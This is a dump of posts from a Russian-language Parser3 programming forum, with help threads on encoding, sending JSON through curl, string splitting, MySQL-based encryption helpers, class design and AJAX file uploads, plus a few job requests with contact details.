\
[b]вижу в браузере[/b]\
Комментарий &#1186;&#63662;&#23483;&#30826;&#64364;&#27570;&#7272;\
\
\
Как получить ожидаемое?"
"84537","[b]стал наблюдать[/b]\
Комментарий Свободный комментарий\
\
Но совсем не ожидал такого, ведь [b]Комментарий[/b] и до этого адекватно выводился, почему одно слово норм, из формы нет?"
"84538","https://api.telegram.org/bot... принимает только в utf8 тексты для отправки в чат"
"84539","$response:charset[] - кодировка, в которой происходит общение с браузером\
$request:charset[] - кодировка файлов на диске.\
\
$.charset[] - или аналогичный параметр у методов работы с внешними данными,\
позволяющий поменять кодировку запроса на любую желаемую."
"84541","[code]\
\
$t[\
{ \
\"goods\": \
	[ { \
	\"brand\": \"1\", \
	\"number\": \"2\", \
	\"name\": \"3\", \
	\"count\": 25, \
	\"price\": 6.07, \
	\"rate\": 1 \
	} ]\
}\
]\
\
$h[^json:parse[$t; \
   $.double(false) \
   $.distinct[all] \
]] \
\
[/code]\
\
Как правильно получить $h.goods.brand? Спасибо"
"84542","Достаточно посмотреть на результат ^json:string[$h], чтобы это увидеть. :)"
"84543","Ищу программиста для удалённой работы с самописным движком на \"parser\". Кому интересна подработка - пишите на почту info@websun-com.ru."
"84544","Собственно, вся проблема в заголовке.\
\
Фото загружается через ^curl и сохраняется на сервере.\
\
Итог операции: [url=\"https://yadi.sk/d/O7seP_gc3U8Y6S\"]https://yadi.sk/d/O7seP_gc3U8Y6S[/url]"
"84545","[quote]Фото загружается через ^curl и сохраняется на сервере.[/quote]\
\
Покажите код.\
\
[quote]Итог операции[/quote]\
\
Покажите исходное изображение."
"84546","[code]\
$file[^curl:load[\
	$.url[https://www.klenmarket.ru/upload/shop_1/3/8/9/item_389945/shop_items_catalog_image389945.jpg]\
	$.timeout(5)\
	$.ssl_verifypeer(0)\
]]\
\
^file.save[binary;/image/image.jpg]\
[/code]\
\
Сравнение картинок: [url=\"https://yadi.sk/i/2IJzAyKP3U8vtq\"]https://yadi.sk/i/2IJzAyKP3U8vtq[/url]"
"84548","[code]\
 $cURI[${Domain.Proto}://${Domain.Sub}.${Domain.Main}.${Domain.Root}/${lFile.FullPath}/${lFile.FullName}]\
\
	^curl:session{\
		$response[^curl:load[\
			$.url[$cURI]\
			$.ssl_verifypeer(false)\
			$.connecttimeout(10)\
			$.timeout(10)\
			$.content-type[application/json]\
			$.mode[text]\
			$.charset[UTF-8]\
			]\
		]\
	}\
[/code]\
\
вылетает по ошибке:\
[quote]curl.fail \
URL using bad/illegal format or missing URL \
load[/quote]\
\
если так низя, то как можно?"
"84549","Проверьте, что у вас получилось в переменной. Если данные приходят из базы или файлика, то скорее всего вы таинт забыли."
"84552","Возможно ли?\
необходимо сравнивать на большее меньшее unsigned int64\
\
данные прилетают \"со стороны\" в виде json ов,\
с парсингом проблем нет, оно , судя по всему как string в переменную влетает\
а вот что с ним дальше делать? :)\
\
вроде как \
[code]^if( $parsedJSONsensorA.uint64 > $parsedJSONsensorB.uint64 ){\
	...\
}{\
	...\
}[/code]\
\
пока срабатывает, но я не уверен что не встретятся действительно большие числа, и не знаю как оно среагирует\
\
была конечно мысль про ^parsedJSONsensorA.uint64.double[] но ...."
"84554","есть необходимость передать JSON строку саму по себе:\
{ \"timeout\": 30, \"queueName\": \"sensorA\" }\
\
и чет, нифига не получается :( \
\
что пробовал\
\
вариант А: //тут явно передается как post поля со значениями\
\
[code]\
 $setA[$.timeout[30] $.queueName[sensorA]]\
\
 ^curl:session{\
	$httpResult[^curl:load[\
		$.url[${SENSOR_A}/set]\
		$.ssl_verifypeer(false)\
		$.connecttimeout(5)\
		$.timeout(5)\
		$.content-type[application/json]\
		$.mode[text]\
		$.charset[UTF-8]\
		$.httppost[$setA]\
		]\
	]\
 }\
[/code]\
\
\
\
\
вариант Б: // не доганяю как и что передается :) нет возможности отследить :(\
\
[code]\
 $setA[$.timeout[30] $.queueName[sensorA]]\
\
 ^curl:session{\
	$httpResult[^curl:load[\
		$.url[${SENSOR_A}/set]\
		$.ssl_verifypeer(false)\
		$.connecttimeout(5)\
		$.timeout(5)\
		$.content-type[application/json]\
		$.mode[text]\
		$.charset[UTF-8]\
		$.postfields[^json:string[$setA]]\
		]\
	]\
 }\
[/code]\
\
вариант В: // тут понятно что передается как post поле body, может каконить нонейм можно сделать?\
\
[code] $setA[$.timeout[30] $.queueName[sensorA]]\
\
 $T_BODY[$.body[^json:string[$setA]]]\
 ^curl:session{\
	$httpResult[^curl:load[\
		$.url[${SENSOR_A}/set]\
		$.ssl_verifypeer(false)\
		$.connecttimeout(5)\
		$.timeout(5)\
		$.content-type[application/json]\
		$.mode[text]\
		$.charset[UTF-8]\
		$.httppost[$T_BODY]\
		]\
	]\
 }\
[/code]"
"84555","[quote]$parsedJSONsensorA.uint64: 99100000000 (double) \
$parsedJSONsensorB.uint64 500000000 (double)[/quote]"
"84556","[quote]есть необходимость передать JSON строку саму по себе[/quote]\
\
Не совсем понятно, что вы имеете ввиду под «саму по себе».\
Тут нужно ориентироваться на принимающую сторону.\
\
Данные либо кодируются как часть URL, либо отправляются в теле запроса.\
В теле запроса они могут быть значениями полей (multipart), либо быть в сыром виде (body).\
\
Для последнего нужно использовать [i]$.postfields[][/i] со значением в виде строки.\
Это ваш вариант Б.\
\
Чтобы проверить что и как передаётся — передайте данные самому себе и посмотрите что приходит в [i]$form[/i] или [i]$request:body[/i]."
"84557","[quote]в сыром виде (body)[/quote]\
наверное более правильная формулировка\
\
Применил вариант 2 \
\
[code]\
	$setA[$.timeout[30] $.queueName[sensorA]]\
	^curl:session{\
	$httpResult[^curl:load[\
		$.url[$cURI]\
		$.ssl_verifypeer(false)\
		$.connecttimeout(5)\
		$.timeout(5)\
		$.content-type[application/json]\
		$.mode[text]\
		$.charset[UTF-8]\
		$.postfields[^json:string[$setA]]\
		$.verbose(true)\
	]]\
}\
[/code]\
\
\
с перенаправлением на свой сервер : получаю в  $request:body.\
[code]\
^taint[as-is;$request:body]\
[/code]\
\
[quote]{\"timeout\":30,\"queueName\":\"sensorA\"}[/quote]\
\
перенаправляю на девайс:\
\
[quote]The requested resource could not be found[/quote]\
\
причем если послать {\"timeout\":30,\"queueName\":\"sensorA\"} через $.ajax в скрипте - то\
[quote]{\"result\":\"ok\",\"message\":\"complete\"}[/quote]\
\
===\
не совсем понятно где ловить $.verbose(true) от curl :\
$httpResult.stderr  - пуст\
\
\
добавлено:\
\
рабочий аякс:\
\
[code]\
	$.ajax({\
		type: 'POST',\
		url: lURI,\
		crossDomain: true,\
		contentType: 'application/json',\
	        dataType: \"json\",\
		cache: false, \
		async: false,\
		timeout: 30000,\
		processData: false,\
		data: JSON.stringify(preJSON),\
		success: function(data){\
			statusAdd(JSON.stringify(data, null, ' '));\
		},\
		error: function(xhr, textStatus, error){\
			statusAdd(error+\" : \"+textStatus);\
			if(xhr.responseJSON && xhr.responseJSON.message){\
				statusAdd(xhr.responseJSON.error+\" : \"+xhr.responseJSON.message);\
			}\
		}\
	});\
[/code]"
"84558","[quote]причем если послать {\"timeout\":30,\"queueName\":\"sensorA\"} через $.ajax в скрипте - то[/quote]\
\
Отправьте $.ajax'ом себе и сравните с тем, что приходит при отправке curl'ом."
"84560","Сохраните в файл.\
\
В конце концов можно взять консольный curl, сформировать ему нужный запрос и отправить.\
Там и verbose будет наглядный."
"84561","[code]curl --header 'Content-Type: application/json' -d '{\"timeout\":30,\"queueName\":\"sensorA\"}' https://sensorA.local/set[/code]\
[quote]{\"result\":\"ok\",\"message\":\"complete\"}[/quote]"
"84562","Поставьте Fiddler или другой прокси и отправьте данные через него.\
Например:\
[code]$response[^curl:load[\
	$.url[http://example.com/]\
	$.proxy[http://127.0.0.1:8888]\
	$.post(true)\
	$.postfields[^json:string[$.abc[123]]]\
]][/code]\
\
Для HTTP будет видно какие данные и как отправляются curl'ом.\
\
[i]$.post(true)[/i] не забыли?"
"84563","експерементальным путем выяснено что без --header 'Content-Type: application/json' оно даже с консольным curl ом не работает\
\
по идее ж \
[code]	\
	$httpResult[^curl:load[\
		...\
		$.content-type[application/json]\
		...\
[/code]\
достаточно?"
"84564","заработало:\
1) заголовки - таки надо выставлять дополнительно\
2) ^json:string[$setA] - генерирует JSON с ЕНТЕРАМИ Н:) $.indent[] - не помогает, как сделать без ентеров - не понял\
3) пока делаю $prepredSetJSON[{\"timeout\":${setA.timeout},\"queueName\":\"${setA.queueName}\"}]\
но както это не правильно\
\
[code]\
 $httpHead[$.Content-Type[application/json] $.Accept[application/json]]\
 ^curl:session{\
	$httpResult[^curl:load[\
		$.url[$cURI]\
		$.ssl_verifypeer(false)\
		$.connecttimeout(5)\
		$.timeout(5)\
		$.content-type[application/json]\
		$.mode[text]\
		$.charset[UTF-8]\
		$.postfields[$preparedSetJSON]\
		$.post(true)\
		$.fresh_connect(true)\
		$.httpheader[$httpHead]\
		]\
	]\
 }\
[/code]"
"84565","[quote]как сделать без ентеров - не понял[/quote]\
\
[code]$.one-line(true)[/code]\
\
Для старых версий Парсера:\
[code]$json[^json:string[…;$.indent(false)]]\
$json[^json.replace[^#0A;]][/code]"
"84567","Доступно с 3.4.5."
"84570","Есть здесь люди, кто делал систему управления клиникой? Сможет кто-то сделать такую систему?\
Почта для связи: you-say@mail.ru"
"84571","Eugene Spearance вроде делал (один из топ-постеров в этом форуме)\
https://www.parser.ru/forum/members/?id=60\
\
Вроде вот:\
Программно-аналитический комплекс\
управления медицинским учреждением\
https://matrixgo.ru/\
\
Написано, как я понимаю, на Parser3\
\
Но это на уровне \"помню, кто-то делал что-то такое\".\
В остальном \"мопед не мой\"."
"84572","[code]$path[/a/b]\
<pre>^json:string[^path.split[/]]</pre>\
\
$path[a/b/]\
<pre>^json:string[^path.split[/]]</pre>[/code]\
\
Почему-то в первом случае пустой сегмент в начале есть, а во втором — пустого сегмента в конце нет, будто конечный разделитель по умолчанию отрезается.\
\
Из-за такого поведения нельзя просто разбить тот же путь на сегменты, обработать их и собрать заново перебором — конечные пустые сегменты будут потеряны.\
\
И вырожденный случай:\
[code]$path[/]\
<pre>^json:string[^path.split[/]]</pre>[/code],\
в котором ожидаешь две пустых строки, а не ни одной.\
\
То есть, пустота до первого разделителя и после последнего должна обрабатываться одинаково.\
К исходном коде вижу string.split(…), видимо отбрасывание разделителя в конце — стандартное поведение C.\
\
Понимаю, что «в лоб» изменять такое поведение нельзя.\
Может добавить опцию a-la $.strict(true), которая бы отключала преобразования строки перед разбиением?\
А то приходится делать разбиение, ища разделитель и отрезая куски строки в цикле."
"84573","Спасибо!"
"84574","[code]\
$sBalance(300)\
$rCount(30)\
\
$sRest(^eval($sBalance - $rCount -1))\
\
^if(^sRest.int(0) < 1000){true}{false}[/code]\
\
выдает false\
\
===\
сначала было $sRest($sBalance - $rCount -1)\
потом добавил eval , т.к. подумал что сравнивается чтото не то"
"84576","[quote]К исходном коде вижу string.split(…), видимо отбрасывание разделителя в конце — стандартное поведение C.[/quote]\
\
В C нет классов, :) это метод парсера (main/pa_string.C). В нем написано, что последний сегмент добавляется, если он не пуст.\
\
Для веб-задач в большинстве случаев действительно удобно считать адреса /a/b/ и /a/b одинаковыми. Опцию понятно можно добавить, ну или например через match с опцией 'g' делить строку."
"84577","[quote]В C нет классов, :) это метод парсера (main/pa_string.C). В нем написано, что последний сегмент добавляется, если он не пуст.[/quote]\
\
Ясно.\
\
[quote]Для веб-задач в большинстве случаев действительно удобно считать адреса /a/b/ и /a/b одинаковыми.[/quote]\
\
Далеко не всегда — может приводить к трудноуловимым ошибкам.\
Опять же, разработчик легко может осознанно сделать [i]$path[^path.trim[end;/]] $path[^path.split[/]][/i].\
\
С другими разделителями — согласен: разумно отбрасывать пустой сегмент в конце.\
\
[quote]Опцию понятно можно добавить, ну или например через match с опцией 'g' делить строку.[/quote]\
\
Мне кажется, возни с матчем получится больше, чем с циклом и разбором по кускам.\
С учётом того, что нужно получить пустые сегменты как в начале, так и в конце."
"84578","Приветствую всех гуру парсера! Появилась задача импортировать данные из файлов разных форматов. В частности это файлы брокерских отчетов присылаемых брокером (сбербанк) на почту. Файлы приходят двух форматов txt и pdf. Файлы не имеют какой-то жесткой структуры, количество разных таблиц в отчете может отличаться. Кроме того есть возможность сформировать табличный отчет в программе, этот отчет сохраняется в html-формате. \
1. Решал кто-то подобную задачу?\
2. Возможен ли импорт из pdf?\
3. Как правильно разобрать текстовый файл где таблицы нарисованы символами |=+-* а все выравниванию сделаны пробелами?\
\
К сожалению выложить сюда образец отчета не возможно. Буду крайне признателен за помощь."
"84579","Общая схема: выкусываем весь текст из PDF'а и пробуем разобрать его регулрными выражениями или пишем полноценный парсер текста.\
\
У меня была относительно несложная задачи и получилось написать на Питоне через https://github.com/jalan/pdftotext и набор регулярок. Для сложных pdf'ок возни будет очень много. :)"
"84580","Честно говоря не знаю как должен выглядеть правильный pdf, но в любом случае я знаю только Parser и могу работать только на нем. Можно ли это реализовать средствами Parser?\
Вы еще писали:\
[quote]пишем полноценный парсер текста.[/quote]\
Можно немного подробнее что имеется в виду. Заранее спасибо."
"84581","[quote]2. Возможен ли импорт из pdf?[/quote]\
\
Мало что работает с pdf напрямую. Запускаете внешнюю программу, преобразуете pdf в text. На линуксах есть pdftotext:\
\
https://packages.debian.org/stretch/armel/poppler-utils\
\
[quote]3. Как правильно разобрать текстовый файл где таблицы нарисованы символами |=+-* а все выравниванию сделаны пробелами?[/quote]\
\
С помощью регулярных выражений."
"84583","Произвольное количество разделителей заменяются на один пробел тривиальной заменой:\
^s.match[\\s+;g; ]"
"84584","Там не только проблема в пробелах... По факту надо из этого файла вычленить таблицы, распознать их, потому что таблицы разные и некоторые не нужны в принципе, и после этого уже придется работать с пробелами. По факту это только один поставщик данных, есть еще куча других и под каждого придеться писать свой обработчик... Ладно буду экспериментировать. С pdf решил пока не возиться."
"84585","Я делал, да, Матрикс давно отпочковался и живет своей жизнью. У меня свой продукт."
"84587","Тикет ждет понимания реальных потребностей. :) У нас пока из таковых была только интеграция с Диадоком, но там шифровать не надо, там подписывать надо. А вызвать openssl с параметрами особого труда не составляет.\
\
openssl cms -sign -engine gost89 -outform DER -noattr -binary -inkey p.key -signer $c.cer -in $fname\
\
Собственно и шифровать пока можно примерно так же..."
"84588","хочется нативного aes \
для, например, шифровать данные в INNODB mySQLя\
\
:)"
"84589","https://dev.mysql.com/doc/refman/5.5/en/encryption-functions.html"
"84590","Здравствуйте,\
\
Есть код:\
[code]\
^form:file.save[text;$path/upload_files/file.csv]\
$insert[^table::load[$path/upload_files/file.csv]]\
^dbconnect{\
  ^insert.menu{\
    ^void:sql{update tb set price='$insert.price)'\
      where articul=\"${insert.articul}\"\
    }\
  }\
}\
[/code]\
\
Как можно его оптимизировать?"
"84593","Суть в том, что LOAD DATA INFILE работает существенно быстрее, чем простые запросы.\
Для массированной загрузки данных предпочтительно использовать именно его.\
\
Зачастую выгоднее загрузить сырые данные во временную таблицу и постобработать средствами MySQL, чем разбирать объёмный файл."
"84595","Здравствуйте.\
Достался в поддержку сайт, написанный на parser.\
Функционал частично не работает. \
Кто может посмотреть, починить? За оплату разумеется.\
\
Ошибки связаны с редактирование существующих страниц, добавлением, удалением новых.\
Например, при создании новой страницы пишет http://prntscr.com/jnvx99.\
\
После редактирования другой страницы она перестала открываться по причине \"Внутренняя ошибка сервера\"."
"84597","Возможно вы правы.\
skype: klenov\
+79787o978 48 - вайбер, воцап"
"84598","Я понимаю, что тема уже немного тут проскакивала, но... пока так и не получилось ничего найти или решить вопрос.\
\
Скажите, пожалуйста, как отловить и сохранить на сервере файлы, переданные через ajax-форму. Конструкция следующая:\
\
Есть 3 файла:\
\
index.html - файл с формой\
uploadPhoto.html - обработчик на стороне сервера\
ajax_upload_file.js - JS\
\
где расположено:\
\
index.html\
------------------------------------------------------------------------------\
Выборка нескольких файлов:\
<p><input type=\"file\" multiple=\"multiple\" accept=\"image/*\" name=\"picture\"></p>\
\
На эту часть вешаем событие \"click\":\
<a href=\"#\" class=\"upload_files btn btn-primary\">Загрузить файлы</a>\
\
Сюда вставляем ответ:\
<div class=\"ajax-reply\"></div>\
\
\
ajax_upload_file.js\
------------------------------------------------------------------------------\
var files; // переменная. будет содержать данные файлов\
\
// заполняем переменную данными, при изменении значения поля file \
$('input[type=file]').on('change', function(){\
	files = this.files;\
});\
\
// обработка и отправка AJAX запроса при клике на кнопку upload_files\
$('.upload_files').on( 'click', function( event ){\
\
	event.stopPropagation(); // остановка всех текущих JS событий\
	event.preventDefault();  // остановка дефолтного события для текущего элемента - клик для <a> тега\
\
	// ничего не делаем если files пустой\
	if( typeof files == 'undefined' ) return;\
\
	// создадим объект данных формы\
	var data = new FormData();\
\
	// заполняем объект данных файлами в подходящем для отправки формате\
	$.each( files, function( key, value ){\
		data.append( key, value );\
	});\
\
	// добавим переменную для идентификации запроса\
	data.append( 'my_file_upload', 1 );\
\
	// AJAX запрос\
	$.ajax({\
		url         : '/ajax/sheets/_postPhoto.html',\
		type        : 'POST', // важно!\
		data        : data,\
		cache       : false,\
		dataType    : 'json',\
		// отключаем обработку передаваемых данных, пусть передаются как есть\
		processData : false,\
		// отключаем установку заголовка типа запроса. Так jQuery скажет серверу что это строковой запрос\
		contentType : false, \
		// функция успешного ответа сервера\
		success     : function( respond, status, jqXHR ){\
			\
			console.log(\"respond, status, jqXHR\", respond, status, jqXHR);\
\
			// ОК - файлы загружены\
			if( typeof respond.error === 'undefined' ){\
				// выведем пути загруженных файлов в блок '.ajax-reply'\
				var files_path = respond.files;\
				var html = '';\
				$.each( files_path, function( key, val ){\
					 html += val +'<br>';\
				} )\
\
				$('.ajax-reply').html( html );\
			}\
			// ошибка\
			else {\
				console.log('ОШИБКА: ' + respond.error );\
			}\
		},\
		// функция ошибки ответа сервера\
		error: function( jqXHR, status, errorThrown ){\
			console.log( 'ОШИБКА AJAX запроса: ' + status, jqXHR );\
		}\
\
	});\
\
});\
\
\
И обработчик:\
\
uploadPhoto.html\
------------------------------------------------------------------------------\
\
$ffile[$form:files]\
\
Так вот, на входе, метод ^ffile.count[] отображает именно то количество, которое передано.\
\
При создании таблицы с ключами ^ffile.keys[] создается таблица \
\
keys\
0\
1\
2\
...\
\
Если попытаться обратиться к хэшу по индексу $ffile.at(0) и пытаться сохранить или вытащить имя файла - ничего.\
\
$bbb[^file:justname[$ffile.at(0)]]\
^bbb.save[/_test/bbbb.txt]\
\
\
В запрос уходит вот это:\
\
------WebKitFormBoundarytT1yA0BD2jjwhlbV\
Content-Disposition: form-data; name=\"0\"; filename=\"paraplan.jpg\"\
Content-Type: image/jpeg\
\
\
------WebKitFormBoundarytT1yA0BD2jjwhlbV\
Content-Disposition: form-data; name=\"my_file_upload\"\
\
1\
------WebKitFormBoundarytT1yA0BD2jjwhlbV--\
\
\
Классическим способом (без ajax) через форму все легко ловится и принимается, но как правильно отправить и принять файлы таким образом?\
\
Уже который раз пытаюсь это сделать, но в итоге пилю все на PHP, а хотелось бы найти решение на парсере.\
\
Как это реализовать? Плз."
"84600","Вариант $ffile.0 ничего так же не выдает. И вариант\
$ffile.$i, где $i - переменная в цикле и т.д.\
\
В любом случае все еще не понятно, как доставать файлы?\
\
$request:body-file - ок, там виден бинарный код, но как достать, если там больше 1-го файла?\
Впрочем, с одним так же не разобрался.\
\
Какую все-таки конструкцию надо построить, чтобы достать файлы? Плз."
"84601","[quote]Вариант $ffile.0 ничего так же не выдает. И вариант\
$ffile.$i, где $i - переменная в цикле и т.д.[/quote]\
\
Сомнительно.\
\
Вы же пишите:\
[quote]При создании таблицы с ключами ^ffile.keys[] создается таблица \
\
keys\
0\
1\
2[/quote]\
\
Значит данные в хеше есть, доступны по числовым ключам 0, 1 и 2.\
\
Обратиться можно разными способами:\
[code]$files[$form:files]\
\
$file[$files.0]\
$file[^files.at(0)[value]]\
^files.foreach[;file]{\
	$file\
}[/code]"
"84602","За основу взята эта [url=\"https://www.parser.ru/forum/?id=80908\"]запись[/url] Sumo, решил немного развить для своих нужд и предоставить в общее пользование, может кому пригодится, а может что-то предложите.\
\
[code]\
@CLASS\
crypt\
\
@OPTIONS\
dynamic\
\
################################################################\
##\
##  $crypt[^_classes[crypt;$options]]\
##\
##  $encrypt[^crypt.encrypt[$string;$secret][\
##    $.type[aes|des]\
##    $.encode[hex|base64]\
##  ]]\
##\
##  $decrypt[^crypt.decrypt[$encrypt;$secret][\
##    $.type[aes|des]\
##    $.encode[hex|base64]\
##  ]]\
##\
##  $token[^crypt.makeToken[$hash;$secret][\
##    $.type[aes|des]\
##    $.encode[hex|base64]\
##  ]]\
##\
##  $validate[^crypt.validateToken[$token;$secret][\
##    $.type[aes|des]\
##    $.encode[hex|base64]\
##  ]]\
##\
################################################################\
\
@create[options]\
$mysql[^_classes[mysql;$options]]\
\
@encrypt[data;secret;options][locals]\
$options[^hash::create[$options]]\
$result[^mysql.sql[string]{\
  select sql_no_cache\
  ^if($options.encode eq 'hex'){hex}\
  ^if($options.encode eq 'base64'){to_base64}\
  (\
    ^if($options.type eq 'aes'){aes_encrypt}\
    ^if($options.type eq 'des'){des_encrypt}\
    ('^taint[$data]', '^taint[$secret]')\
  )\
}]\
\
@decrypt[data;secret;options][locals]\
$options[^hash::create[$options]]\
$result[^mysql.sql[string]{\
  select sql_no_cache\
  ^if($options.type eq 'aes'){aes_decrypt}\
  ^if($options.type eq 'des'){des_decrypt}\
  (\
    ^if($options.encode eq 'hex'){unhex}\
    ^if($options.encode eq 'base64'){from_base64}\
    ('^taint[$data]'), '^taint[$secret]'\
  )\
}]\
\
@makeToken[data;secret;options][locals]\
$options[^hash::create[$options]]\
$result[^data.foreach[k;v]{${k}=${v}}[|]]\
$result[^encrypt[${result}|^math:crypt[$result|$secret;^$apr1^$];$secret][\
  $.type[$options.type]\
  $.encode[$options.encode]\
]]\
\
@validateToken[token;secret;options][locals]\
$result[^hash::create[]]\
$options[^hash::create[$options]]\
$token[^decrypt[^token.trim[both];$secret][\
  $.type[$options.type]\
  $.encode[$options.encode]\
]]\
$parts[^token.split[|;lv]]\
^if($parts < 2){^throw[invalid;invalid token]}\
^parts.foreach[k;v]{\
  $str[$v.piece]\
  $key[^str.match[(.+)\\=(.+)][g]{$match.1}]\
  $value[^str.match[(.+)\\=(.+)][g]{$match.2}]\
	^if($k == ($parts - 1)){\
		$signature[$v.piece]\
		^break[]\
	}\
	$result.[$key][$value]\
}\
$data[^token.left(^token.length[] - ^signature.length[] - 1)]\
^if(!def $signature || $signature ne ^math:crypt[${data}|$secret;$signature]){\
	^throw[invalid;invalid token]\
}\
[/code]"
"84603","В pf1 только для MySQL, без автоматической сериализации/десериализации — https://bitbucket.org/ovolchkov/parser3-pf/src/pf/security/pfSecurityCrypt.p\
\
В pf2 переписал класс. Данные токенов сериализуем в универсальный json, поддерживаем Майсиквел и Постгрес. Сообщения подписываем криптографическим хешем с HMAC.\
https://github.com/unhandled-exception/pf2/blob/master/lib/security/sql_security.p"
"84604","Здравствуйте,\
у меня есть метод внутри класса1. Класс1 вызывается динамически из класса2, который создается из класса3 через @base, причем  последние 2 класса - partial. Класс2 определен в файле расширения, а класс1 - в библиотеках, поскольку только так можно это делать удобно.\
\
Теперь я хочу, чтобы метод класса1 был изменен относительно библиотечного, но поскольку класс1 вызывается динамически, у меня нет возможности сделать для него partial. Я также не могу вынести метод в MAIN или любой другой статичный собирающийся класс, поскольку файл расширения вызывается первым и соответственно уточняющий метод будет переписан базовым, а не наоборот.\
\
Что-то я туплю, как здесь лучше поступить?"
"84605","Отнаследоваться от класс1, переопределить в новом классе метод. Объект нового класса передать параметром в конструктор класс2 и положить в переменную. Использовать объект.\
\
Основной принцип — зависимость должна прийти в конструктор снаружи. \
\
\
[code]\
@CLASS\
class5\
\
@BASE\
class1\
\
@method[]\
  ...\
\
@CLASS\
class2\
\
@create[aOptions]\
  $self.dep[^if(def $aOptions.dep){$aOptions.dep}{^class1::create[]}]\
\
@method4[]\
   ^self.dep.method[]\
\
\
....\
\
$o[^class2::create[$.dep[^class5::create[]]]\
^o.method4[]\
[/code]"
"84606","Если я создам внутри class2 экземпляр класса5, порожденного от class1, последний перестанет получать данные от источника, который не связан с class2. Иначе придется как-то декапсулировать первый объект, например, связав его с общедоступным хранилищем данных и методов, что интуитивно неправильно."
"84607","И сможете построить нормальную архитектуру приложения."
"84608","Для нормальной реализации ИУ мне в моем случае потребуется что-то такое:\
\
внутри класса1:\
^имя_созданного_последним_наследника_класса3.method_known[]\
\
Класс1 - библиотечный, класс2 - название последнего наследника, от имени которого и идет управление. Экземпляр класса1 сделать нельзя, т.к. это уникальный обсервер."
"84609","Показываете код — обсуждаем возможные варианты. Что такое «уникальный обсервер» поймем только по коду."
"84610","@CLASS\
MH\
@BASE\
H\
@OPTIONS\
partial\
@my_current_method[]\
^observer.n.explain[reportType]\
@observer_mod[]\
специфическое оформление для класса MH\
\
@CLASS\
H\
@OPTIONS\
partial\
@auto[]\
$observer[\
 $.1[^explainer::create[]]\
 $.2[^explainer::create[]]\
 $.n[^explainer::create[]]\
]\
@observer_mod[]\
стандартное оформление\
\
\
@CLASS\
explainer\
@explain[]\
Здесь надо вызвать метод класса H или MH, в зависимости от того, который подгружен последним. Но экземпляр explainer не знает, что от H был порожден MH, ведь он - библиотека...\
^[последний класс типа H]:observer_mod[]"
"84611","... и лишены наследования и полиморфизма. Сейчас у вас обычная процедурная программа, которая использует классы как некое подобие модулей, но не как прототип объектов. В процедурном программировании можно сымитировать DI/IOC, передавая в процедуры ссылки на другие процедуры. \
\
Небольшой пример. Изменения поведение функции через передачу ссылки:\
\
[code]\
@CLASS\
explainer\
\
@explain[aOptions]\
  ...\
  $lObserverMod[^if(def $aOptions.observer_func){$aOptions.observer_func}{$H:observer_mod}]\
  ^lObserverMod[]\
...\
И где-то в коде вызываем:\
^explainer:explain[$.observer_func[$MH:observer_mod]]\
[/code]\
\
Я бы рекомендовал навсегда забыть про статические классы и использовать только объекты, которые создаются через конструктор классов. :)"
"84614","Да, здесь у меня статическое решение. Вместо того чтобы создавать дочерние классы, я воспользовался замечательным механизмом переопределения методов внутри одного и того же класса, хотя можно было инвертировать управление - отдавать фреймворку ссылку на кастомные функции. Но первый вариант позволяет вообще ничего не отдавать! - а пользоваться встроенной \"накатанной дорожкой\" переопределений модулей в поддиректориях и класса, создаваемого через @options partial. \
\
Короче, раз уж так или иначе приходится отойти от естественного подхода, сделал проверку наличия некоего оператора - по сути тоже незначительное увеличение сложности, по сравнению с конструированием цепочки классов.."
"84616","section_id \
\
name \
uri \
1                 --- это я просто скопировал или надо столбцы знаком табуляции отделять ? \
\
Главная \
/                                            section_id	name	uri_  --- или так?  					                   \
2 \
\
Новости \
/news/ \
3 \
\
Контакты \
/contacts/ \
4 \
\
Цены \
/price/ \
5 \
\
Ваше мнение \
/gbook/ \
\
P.S я про Урок 1"
"84617","Таблица должна иметь такой вид:\
[code]section_id	name	uri\
1	Главная	/\
2	Новости	/news/\
3	Контакты	/contacts/\
4	Цены	/price/\
5	Ваше мнение	/gbook/[/code]\
\
Между значений табуляция, каждый набор значений на отдельной строке.\
\
В документации кто-то крайне криворукий верстал эту таблицу.\
К тому же второй десяток лет написана ерунда «[i]При копировании этой таблицы в текстовый редактор данное форматирование будет создано автоматически[/i]»."
"84618","скиньте файл с таблицей sections.cfg"
"84619","и куда вставлять ^navigation[]"
"84620","Скопируйте содержимое файла из [url=https://www.parser.ru/forum/?id=84617]сообщения с разъяснением структуры[/url] с помощью текстового редактора."
"84621","[quote]куда вставлять ^navigation[][/quote]\
\
[i]Теперь открываем код страницы, где все это должно появиться (например, index.html)[/i]"
"84622","http://b2b.shop.in.ua/\
перестал работать функционал некоторый , связь с 1с"
"84623","p_evgen@outlook.com\
0674455669\
skype slaky11"
"84624","[url=\"https://www.parser.ru/forum/?id=48999\"]https://www.parser.ru/forum/?id=48999[/url]\
\
Здравствуйте. Как можно определить, что клиент закрыл страницу и остановить процесс?"
"84625","Если демон ведёт учёт клиентов, то он может делать отметки о времени последнего обращения и завершаться по таймауту после отключения последнего клиента."
"84626","Почему gmt-string, как метод есть, а как конструктор - нет.\
Неудобно... есть много стрингов с данными в таком формате... и надо нагенерить объектов класса дата..."
"84631","Что именно делать надо?"
"84632","Сделал порт lang/parser3 для FreeBSD.\
Ждём появления его в дереве портов."
"84634","Но его пока не добавляют в дерево портов.\
Там ещё четыре драйвера для СУБД.\
Могу сюда выложить, но не вижу, как аттач сделать."
"84635","[quote]Могу сюда выложить, но не вижу, как аттач сделать.[/quote]\
\
Можно на mailbox@parser.ru прислать, мы куда-нибудь в \"скачать\" добавим."
"84638","Добрый день!\
Я раньше уже использовал Img.p с NConvert.p на разных системах и подобных проблем не было, но сейчас ресайз изображений не работает, возвращая код 248 (если права на nconvert 755) либо 243 (если права 644). Но я уже понял, что надо 755, хоть проблему это ине решает. Сам nconvert загружался на хостинг в бинарном режиме.\
Система FreeBSD 6 x64, nconvert 6.88 linux x64.\
\
Прошерстил форум, нашел треды, где у людей была подобная проблема, но так и не нашел в них решения для себя.\
\
Посоветуйте, пожалуйста, что-нибудь для решения проблемы.\
\
Вот немного кода, хоть это, наверное, и не поможет:\
[code]^use[NConvert.p]\
$oImg[^NConvert::create[\
	$.sScriptPath[$MAIN:VCGI_DIR]\
	$.sScriptName[nconvert]\
]]\
^oImg.resize[$sImgPathName;$sImgThumbPathName;145;145;$.bKeepRatio(0) $.bRemoveMeta(1) $.iQuality(85)][/code]\
Пути до картинок правильные, проверял при помощи сохранения этих переменных в текстовый файл."
"84639","[quote]Система FreeBSD 6 x64, nconvert 6.88 linux x64.[/quote]\
\
